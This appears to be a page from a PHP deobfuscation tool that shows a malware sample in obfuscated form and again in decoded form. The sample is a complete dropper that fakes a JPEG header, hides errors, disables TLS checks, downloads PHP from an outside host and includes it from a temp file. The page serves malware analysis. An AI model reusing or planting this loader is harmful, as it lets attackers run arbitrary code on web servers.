PHP deobfuscation, decryption, reconstruction tool

Obfuscated php code

<?php
ob_start(); echo "\xFF\xD8\xFF\xE0\x4A\x46\x49\x46"; ob_clean();
@ini_set('display_errors',0);@error_reporting(0);@set_time_limit(0);
$u='https://botjanx.b-cdn.net/data/curl.txt';
$r='';$o=array('User-Agent: Mozilla/5.0','Accept:*/*','Connection: close');
if(function_exists("\x63\x75\x72\x6c\x5f\x69\x6e\x69\x74")){
  $x="\x63\x75\x72\x6c\x5f\x69\x6e\x69\x74";
  $s=$x($u);$f="\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74";
  $f($s,CURLOPT_RETURNTRANSFER,1);$f($s,CURLOPT_FOLLOWLOCATION,1);
  $f($s,CURLOPT_TIMEOUT,8);$f($s,CURLOPT_SSL_VERIFYPEER,0);
  $f($s,CURLOPT_SSL_VERIFYHOST,0);$f($s,CURLOPT_HTTPHEADER,$o);
  $r=curl_exec($s);curl_close($s);
}
if(!$r && @ini_get('allow_url_fopen')){
  $z = array('http'=>array('method'=>'GET','header'=>implode("\r\n",$o),'timeout'=>8));
  $r = @file_get_contents($u,false,stream_context_create($z));
}
if($r){
  $b = @tempnam(sys_get_temp_dir(), 'tmp_');
  if ($b && @file_put_contents($b, $r)) {
    include $b;
    @unlink($b);
  }
}

Decoded(de-Obfuscated) php code

<?php

ob_start();
echo "JFIF";
ob_clean();
@ini_set('display_errors', 0);
@error_reporting(0);
@set_time_limit(0);
$u = 'https://botjanx.b-cdn.net/data/curl.txt';
$r = '';
$o = array('User-Agent: Mozilla/5.0', 'Accept:*/*', 'Connection: close');
if (function_exists("curl_init")) {
    $x = "curl_init";
    $s = curl_init($u);
    $f = "curl_setopt";
    curl_setopt($s, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($s, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($s, CURLOPT_TIMEOUT, 8);
    curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($s, CURLOPT_HTTPHEADER, $o);
    $r = curl_exec($s);
    curl_close($s);
}
if (!$r && @ini_get('allow_url_fopen')) {
    $z = array('http' => array('method' => 'GET', 'header' => implode("\r\n", $o), 'timeout' => 8));
    $r = @file_get_contents($u, false, stream_context_create($z));
}
if ($r) {
    $b = @tempnam(sys_get_temp_dir(), 'tmp_');
    if ($b && @file_put_contents($b, $r)) {
        include $b;
        @unlink($b);
    }
}

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.